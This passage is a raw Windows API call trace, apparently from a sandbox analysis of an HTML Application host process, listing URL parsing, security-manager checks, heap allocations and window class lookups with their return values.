pwzResult=0xfd1790, cchResult=0xc, pcchResult=0xcfded4, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0xcfded4*=0xc) returned 0x0 [0223.092] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0223.092] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0223.092] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1c) returned 0xfdb820 [0223.092] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb820 | out: hHeap=0xfb0000) returned 1 [0223.092] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0223.093] DllGetClassObject (in: rclsid=0xfbd1f4*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfd9e8 | out: ppv=0xcfd9e8*=0x7376ba90) returned 0x0 [0223.093] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfdee0 | out: ppvObject=0xcfdee0*=0x7376ba9c) returned 0x0 [0223.093] IUnknown:Release (This=0x7376ba90) returned 0x1 [0223.093] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0xfd13f0, cchResult=0xc, pcchResult=0xcfdedc, dwReserved=0x0 | out: pwzResult="", pcchResult=0xcfdedc*=0x0) returned 0x800c0011 [0223.093] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0223.094] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.094] IUnknown:Release (This=0xfd100c) returned 0x3 [0223.094] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9308 [0223.094] memcpy_s (in: _Destination=0xfd9308, _DestinationSize=0x10, _Source=0xcfe5f8, _SourceSize=0x10 | out: _Destination=0xfd9308) returned 0x0 [0223.094] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0xcfe5cc, dwReserved=0x0 | out: ppSM=0xcfe5cc*=0xfd03b0) returned 0x0 [0223.094] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9218 [0223.094] memcpy_s (in: _Destination=0xfd9218, _DestinationSize=0x10, _Source=0xcfe5f8, _SourceSize=0x10 | out: _Destination=0xfd9218) returned 0x0 [0223.095] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0223.095] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.096] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x98) returned 0x4d73720 [0223.096] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.096] VirtualAlloc (lpAddress=0x4c46000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c46000 [0223.141] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x8, Size=0x2000) returned 0xfddc20 [0223.142] memcpy_s (in: _Destination=0xfddc20, _DestinationSize=0x2000, _Source=0xcfe798, _SourceSize=0x4 | out: _Destination=0xfddc20) returned 0x0 [0223.142] IUnknown:AddRef (This=0xfd0030) returned 0x2 [0223.142] CreateUri (in: pwzURI="about:blank", dwFlags=0x3002b80, dwReserved=0x0, ppURI=0xcfe5a8 | out: ppURI=0xcfe5a8*=0xfd100c) returned 0x0 [0223.143] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0223.144] DllGetClassObject (in: rclsid=0xfbd1f4*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfddf8 | out: ppv=0xcfddf8*=0x7376ba90) returned 0x0 [0223.144] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfde64 | out: ppvObject=0xcfde64*=0x7376ba9c) returned 0x0 [0223.144] IUnknown:Release (This=0x7376ba90) returned 0x1 [0223.144] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=3, dwParseFlags=0x0, pwzResult=0xfd1490, cchResult=0xc, pcchResult=0xcfde5c, dwReserved=0x0 | out: pwzResult="about:blank", pcchResult=0xcfde5c*=0xc) returned 0x0 [0223.144] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0223.144] StrCmpICW (pszStr1="about:blank", pszStr2="about:blank") returned 0 [0223.144] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1c) returned 0xfdb848 [0223.145] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfdb848 | out: hHeap=0xfb0000) returned 1 [0223.145] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0223.145] DllGetClassObject (in: rclsid=0xfbd1f4*(Data1=0x3050f406, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x74109214*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0xcfd970 | out: ppv=0xcfd970*=0x7376ba90) returned 0x0 [0223.145] IUnknown:QueryInterface (in: This=0x7376ba90, riid=0x7410a158*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xcfde68 | out: ppvObject=0xcfde68*=0x7376ba9c) returned 0x0 [0223.145] IUnknown:Release (This=0x7376ba90) returned 0x1 [0223.145] IInternetProtocolInfo:ParseUrl (in: This=0x7376ba9c, pwzUrl="about:blank", ParseAction=17, dwParseFlags=0x0, pwzResult=0xfd1670, cchResult=0xc, pcchResult=0xcfde64, dwReserved=0x0 | out: pwzResult="", pcchResult=0xcfde64*=0x0) returned 0x800c0011 [0223.145] IUnknown:Release (This=0x7376ba9c) returned 0x1 [0223.146] CoInternetIsFeatureEnabled (FeatureEntry=0x8, dwFlags=0x2) returned 0x1 [0223.146] CoInternetIsFeatureEnabled (FeatureEntry=0xe, dwFlags=0x2) returned 0x1 [0223.146] IInternetSecurityManagerEx2:ProcessUrlActionEx2 (in: This=0xfd0030, pUri=0xfd100c, dwAction=0x2106, pPolicy=0xcfe59c, cbPolicy=0x4, pContext=0x0, cbContext=0x0, dwFlags=0x41, dwReserved=0x0, pdwOutFlags=0xcfe57c | out: pPolicy=0xcfe59c*=0x0, pdwOutFlags=0xcfe57c*=0x0) returned 0x0 [0223.147] IUnknown:Release (This=0xfd0030) returned 0x1 [0223.147] IUnknown:Release (This=0xfd100c) returned 0x4 [0223.147] GetDoubleClickTime () returned 0x1f4 [0223.147] GetSystemMetrics (nIndex=36) returned 4 [0223.147] GetSystemMetrics (nIndex=37) returned 4 [0223.148] RtlInitializeConditionVariable (in: ConditionVariable=0x4c080b8 | out: ConditionVariable=0x4c080b8) [0223.148] CoTaskMemAlloc (cb=0x1c) returned 0xfdb938 [0223.148] QISearch (in: that=0x4c08120, pqit=0x726ede0c, riid=0x72880828*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x4c210d0 | out: that=0x4c08120, ppv=0x4c210d0*=0x4c08120) returned 0x0 [0223.168] CoTaskMemAlloc (cb=0x1c) returned 0xfdb668 [0223.168] QISearch (in: that=0x4c08150, pqit=0x726ede0c, riid=0x72880828*(Data1=0xaf11d3db, Data2=0x81a6, Data3=0x4b88, Data4=([0]=0xae, [1]=0x7, [2]=0x96, [3]=0xec, [4]=0xcf, [5]=0x46, [6]=0xd0, [7]=0x76)), ppv=0x4c210d4 | out: that=0x4c08150, ppv=0x4c210d4*=0x4c08150) returned 0x0 [0223.168] IUnknown:AddRef (This=0x4c08150) returned 0x2 [0223.168] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x94) returned 0x4d737c0 [0223.168] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.169] VirtualAlloc (lpAddress=0x4c58000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c58000 [0223.169] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x94) returned 0x4d73860 [0223.169] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.169] VirtualAlloc (lpAddress=0x4c5a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c5a000 [0223.169] GetTickCount () returned 0x37485 [0223.170] GetSystemTimeAdjustment (in: lpTimeAdjustment=0xcfea30, lpTimeIncrement=0xcfea38, lpTimeAdjustmentDisabled=0xcfea34 | out: lpTimeAdjustment=0xcfea30, lpTimeIncrement=0xcfea38, lpTimeAdjustmentDisabled=0xcfea34) returned 1 [0223.170] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x90) returned 0x4d73900 [0223.170] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.170] VirtualAlloc (lpAddress=0x4c5c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c5c000 [0223.170] QueryPerformanceCounter (in: lpPerformanceCount=0xcfe9e8 | out: lpPerformanceCount=0xcfe9e8*=22647284250) returned 1 [0223.170] QueryPerformanceFrequency (in: lpFrequency=0x73881fd8 | out: lpFrequency=0x73881fd8*=100000000) returned 1 [0223.170] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0xa0) returned 0x4d73998 [0223.171] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.171] VirtualAlloc (lpAddress=0x4c5e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c5e000 [0223.173] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x46) returned 0xfcfdc8 [0223.173] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x42) returned 0xfcfeb8 [0223.173] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x56) returned 0xfdd928 [0223.174] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x8c) returned 0x4d73a40 [0223.174] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.174] VirtualAlloc (lpAddress=0x4c60000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c60000 [0223.175] IUnknown:AddRef (This=0x4c20000) returned 0x0 [0223.175] IUnknown:Release (This=0x4c20000) returned 0x1 [0223.175] IUnknown:Release (This=0x7376b52c) returned 0x1 [0223.175] IUnknown:QueryInterface (in: This=0x4c20000, riid=0x72880548*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0xcffa2c | out: ppvObject=0xcffa2c*=0x4c20000) returned 0x0 [0223.175] IUnknown:Release (This=0x4c20000) returned 0x1 [0223.178] LdrResolveDelayLoadedAPI () returned 0x75be9db0 [0223.179] LdrResolveDelayLoadedAPI () returned 0x764321f0 [0223.179] IUnknown_QueryService (in: punk=0x7387f4bc, guidService=0x7286d374*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7287d07c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvOut=0x4c20060 | out: ppvOut=0x4c20060*=0x0) returned 0x80004005 [0223.179] IUnknown:QueryInterface (in: This=0x7387f4bc, riid=0x763fb61c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0xcff9a0 | out: ppvObject=0xcff9a0*=0x7387f4d0) returned 0x0 [0223.179] IServiceProvider:QueryService (in: This=0x7387f4d0, guidService=0x7286d374*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), riid=0x7287d07c*(Data1=0xd81f90a3, Data2=0x8156, Data3=0x44f7, Data4=([0]=0xad, [1]=0x28, [2]=0x5a, [3]=0xbb, [4]=0x87, [5]=0x0, [6]=0x32, [7]=0x74)), ppvObject=0x4c20060 | out: ppvObject=0x4c20060*=0x0) returned 0x80004005 [0223.179] IUnknown:Release (This=0x7387f4d0) returned 0x1 [0223.193] IUnknown_QueryService (in: punk=0x7387f4bc, guidService=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvOut=0xcff9a4 | out: ppvOut=0xcff9a4*=0x0) returned 0x80004005 [0223.193] IUnknown:QueryInterface (in: This=0x7387f4bc, riid=0x763fb61c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0xcff968 | out: ppvObject=0xcff968*=0x7387f4d0) returned 0x0 [0223.193] IServiceProvider:QueryService (in: This=0x7387f4d0, guidService=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), riid=0x7286d468*(Data1=0x25336920, Data2=0x3f9, Data3=0x11cf, Data4=([0]=0x8f, [1]=0xd0, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x68, [6]=0x6f, [7]=0x13)), ppvObject=0xcff9a4 | out: ppvObject=0xcff9a4*=0x0) returned 0x80004005 [0223.193] IUnknown:Release (This=0x7387f4d0) returned 0x1 [0223.194] IInternetSecurityManager:SetSecuritySite (This=0xfd0030, pSite=0x4c20e04) returned 0x0 [0223.194] IUnknown:Release (This=0x4c20e04) returned 0x0 [0223.194] IUnknown:AddRef (This=0x4c20e04) returned 0x30 [0223.194] IUnknown:QueryInterface (in: This=0x4c20e04, riid=0x7410a62c*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0xcff9cc | out: ppvObject=0xcff9cc*=0x4c20e08) returned 0x0 [0223.194] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), riid=0x7410a500*(Data1=0x49d33aad, Data2=0xf985, Data3=0x4b70, Data4=([0]=0x97, [1]=0xa0, [2]=0x28, [3]=0xec, [4]=0xeb, [5]=0x65, [6]=0x23, [7]=0xbf)), ppvObject=0xfd0064 | out: ppvObject=0xfd0064*=0x0) returned 0x80004002 [0223.194] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), riid=0x7410a59c*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0xfd0060 | out: ppvObject=0xfd0060*=0x0) returned 0x80004002 [0223.194] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), riid=0x7410a5ac*(Data1=0xf164edf1, Data2=0xcc7c, Data3=0x4f0d, Data4=([0]=0x9a, [1]=0x94, [2]=0x34, [3]=0x22, [4]=0x26, [5]=0x25, [6]=0xc3, [7]=0x93)), ppvObject=0xfd005c | out: ppvObject=0xfd005c*=0x0) returned 0x80004002 [0223.194] IServiceProvider:QueryService (in: This=0x4c20e08, guidService=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x7410a58c*(Data1=0x79eac9ee, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0xfd0058 | out: ppvObject=0xfd0058*=0x7387f4d4) returned 0x0 [0223.194] IUnknown:Release (This=0x4c20e08) returned 0x0 [0223.195] CoTaskMemAlloc (cb=0x6d) returned 0xfdc0d8 [0223.195] CoTaskMemAlloc (cb=0x9) returned 0xfd9338 [0223.218] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xc) returned 0xfd9350 [0223.260] StrChrW (lpStart="HTA", wMatch=0x3b) returned 0x0 [0223.260] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xc) returned 0xfd9200 [0223.260] memcpy_s (in: _Destination=0x4c1e230, _DestinationSize=0x8, _Source=0xfd9354, _SourceSize=0x6 | out: _Destination=0x4c1e230) returned 0x0 [0223.261] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x90) returned 0x4d73ad8 [0223.261] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.261] VirtualAlloc (lpAddress=0x4c62000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c62000 [0223.261] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x20) returned 0xfdb708 [0223.262] RtlAllocateHeap (HeapHandle=0x4d60000, Flags=0x0, Size=0x98) returned 0x4d73b70 [0223.262] RtlInterlockedPopEntrySList (in: ListHead=0x4d60878 | out: ListHead=0x4d60878) returned 0x0 [0223.262] VirtualAlloc (lpAddress=0x4c64000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4c64000 [0223.262] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x100) returned 0xfdfc28 [0223.262] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x800) returned 0xfe0070 [0223.262] IsCharSpaceW (wch=0x48) returned 0 [0223.263] IsCharAlphaNumericW (ch=0x5c) returned 0 [0223.263] IsCharSpaceW (wch=0x5c) returned 0 [0223.263] IsCharSpaceW (wch=0x41) returned 0 [0223.263] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xc) returned 0xfd93b0 [0223.263] IsCharAlphaNumericW (ch=0x20) returned 0 [0223.263] IsCharSpaceW (wch=0x20) returned 1 [0223.263] IsCharSpaceW (wch=0x7b) returned 0 [0223.290] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1c) returned 0xfdb960 [0223.290] IsCharSpaceW (wch=0x20) returned 1 [0223.290] IsCharAlphaNumericW (ch=0x7b) returned 0 [0223.290] IsCharSpaceW (wch=0x62) returned 0 [0223.290] IsCharAlphaNumericW (ch=0x3a) returned 0 [0223.290] IsCharSpaceW (wch=0x3a) returned 0 [0223.302] IsCharAlphaNumericW (ch=0x3a) returned 0 [0223.302] IsCharSpaceW (wch=0x75) returned 0 [0223.302] IsCharAlphaNumericW (ch=0x28) returned 0 [0223.302] IsCharSpaceW (wch=0x28) returned 0 [0223.302] IsCharAlphaNumericW (ch=0x28) returned 0 [0223.302] IsCharSpaceW (wch=0x23) returned 0 [0223.303] IsCharSpaceW (wch=0x23) returned 0 [0223.303] IsCharSpaceW (wch=0x7d) returned 0 [0223.303] IsCharAlphaNumericW (ch=0x7d) returned 0 [0223.303] IsCharSpaceW (wch=0x29) returned 0 [0223.303] IsCharSpaceW (wch=0x75) returned 0 [0223.303] IsCharSpaceW (wch=0x75) returned 0 [0223.303] IsCharSpaceW (wch=0x29) returned 0 [0223.303] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x34) returned 0xfbd4d0 [0223.303] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x2) returned 0xfd0d98 [0223.304] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9230 [0223.305] CoTaskMemFree (pv=0xfdc0d8) [0223.305] CoTaskMemFree (pv=0xfd9338) [0223.320] wcsncmp (_String1="HKCU\\", _String2="HKCU\\", _MaxCount=0x5) returned 0 [0223.320] StrCmpCW (pszStr1="Software\\Microsoft\\Internet Explorer", pszStr2="Software\\Microsoft\\Windows Mail\\Trident") returned -14 [0223.320] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x4a) returned 0xfdc0d8 [0223.320] GetSysColor (nIndex=26) returned 0xcc6600 [0223.320] GetSysColor (nIndex=5) returned 0xffffff [0223.320] GetSysColor (nIndex=8) returned 0x0 [0223.320] GetSysColor (nIndex=26) returned 0xcc6600 [0223.320] GetSysColor (nIndex=5) returned 0xffffff [0223.320] GetSysColor (nIndex=8) returned 0x0 [0223.344] wcstol (in: _String="0,0,255", _EndPtr=0xcfd5f8, _Radix=10 | out: _EndPtr=0xcfd5f8*=",0,255") returned 0 [0223.344] wcstol (in: _String="0,255", _EndPtr=0xcfd5f8, _Radix=10 | out: _EndPtr=0xcfd5f8*=",255") returned 0 [0223.344] wcstol (in: _String="255", _EndPtr=0xcfd5f8, _Radix=10 | out: _EndPtr=0xcfd5f8*="") returned 255 [0223.344] wcstol (in: _String="128,0,128", _EndPtr=0xcfd5f8, _Radix=10 | out: _EndPtr=0xcfd5f8*=",0,128") returned 128 [0223.344] wcstol (in: _String="0,128", _EndPtr=0xcfd5f8, _Radix=10 | out: _EndPtr=0xcfd5f8*=",128") returned 0 [0223.344] wcstol (in: _String="128", _EndPtr=0xcfd5f8, _Radix=10 | out: _EndPtr=0xcfd5f8*="") returned 128 [0223.348] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x3a) returned 0xfd4ee8 [0223.348] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x9a) returned 0xfdfd30 [0223.350] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x26) returned 0xfd39e0 [0223.350] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x9e) returned 0xfe45e8 [0223.350] GetProcessHeap () returned 0xfb0000 [0223.350] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfbd210 | out: hHeap=0xfb0000) returned 1 [0223.350] GetProcessHeap () returned 0xfb0000 [0223.350] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfbd310 | out: hHeap=0xfb0000) returned 1 [0223.350] GetProcessHeap () returned 0xfb0000 [0223.350] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfd0c68 | out: hHeap=0xfb0000) returned 1 [0223.352] _ltow_s (in: _Value=3, _Buffer=0xcfd700, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0223.353] _ltow_s (in: _Value=3, _Buffer=0xcfd700, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0223.353] _ltow_s (in: _Value=3, _Buffer=0xcfd700, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0223.353] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x24) returned 0xfd3710 [0223.353] _ltow_s (in: _Value=3, _Buffer=0xcfd700, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0223.354] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x1c) returned 0xfdb9b0 [0223.354] _ltow_s (in: _Value=3, _Buffer=0xcfd700, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0223.354] _ltow_s (in: _Value=3, _Buffer=0xcfd700, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0223.354] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9398 [0223.354] _ltow_s (in: _Value=3, _Buffer=0xcfd700, _BufferCount=0x21, _Radix=10 | out: _Buffer="3") returned 0x0 [0223.354] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x16) returned 0xfd1670 [0223.355] GetAcceptLanguagesW () returned 0x0 [0223.355] LocaleNameToLCID (lpName="en-US", dwFlags=0x8000000) returned 0x409 [0223.355] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9428 [0223.355] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0xb0) returned 0xfe4690 [0223.355] LCIDToLocaleName (in: Locale=0x409, lpName=0xfe4694, cchName=85, dwFlags=0x8000000 | out: lpName="en-US") returned 6 [0223.355] RtlReAllocateHeap (Heap=0xfb0000, Flags=0x0, Ptr=0xfd9428, Size=0xb0) returned 0xfe4748 [0223.355] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4690 | out: hHeap=0xfb0000) returned 1 [0223.355] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9440 [0223.356] HeapFree (in: hHeap=0xfb0000, dwFlags=0x0, lpMem=0xfe4748 | out: hHeap=0xfb0000) returned 1 [0223.356] memcpy_s (in: _Destination=0xcfe9c8, _DestinationSize=0x1000, _Source=0x7387f084, _SourceSize=0xc | out: _Destination=0xcfe9c8) returned 0x0 [0223.356] RtlAllocateHeap (HeapHandle=0xfb0000, Flags=0x0, Size=0x10) returned 0xfd9470 [0223.356] GetClassNameW (in: hWnd=0x30218, lpClassName=0xcff9bc, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0223.356] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0223.356] GetParent (hWnd=0x30218) returned 0x5020c [0223.356] GetClassNameW (in: hWnd=0x5020c, lpClassName=0xcff9bc, nMaxCount=10 | out: lpClassName="HTML Appl") returned 9 [0223.356] CompareStringW (Locale=0x409, dwCmpFlags=0x0, lpString1="HTML Appl", cchCount1=9, lpString2="HH Parent", cchCount2=9) returned 3 [0223.356] GetParent (hWnd=0x5020c) returned 0x0 [0223.357] memcpy_s (in: _Destination=0x4c1e350, _DestinationSize=0x6, _Source=0x7286eb7c, _SourceSize=0x4 | out: _Destination=0x4c1e350) returned 0x0 [0223.357] memcpy_s (in: _Destination=0x4c1e370, _DestinationSize=0xc, _Source=0x7286eb70, _SourceSize=0xa | out: _Destination=0x4c1e370) returned 0x0 [0223.357] memcpy_s (in: _Destination=0x4c1e390, _DestinationSize=0xa, _Source=0x7286eb64, _SourceSize=0x8 | out: _Destination=0x4c1e390) returned 0x0 [0223.357] memcpy_s (in: _Destination=0x4c1e3b0, _DestinationSize=0xc, _Source=0x7286eb58, _SourceSize=0xa | out: _Destination=0x4c1e3b0) returned 0x0 [0223.357] memcpy_s (in: _Destination=0x4c1e3d0, _DestinationSize=0x6, _Source=0x7286eb50, _SourceSize=0x4 | out: 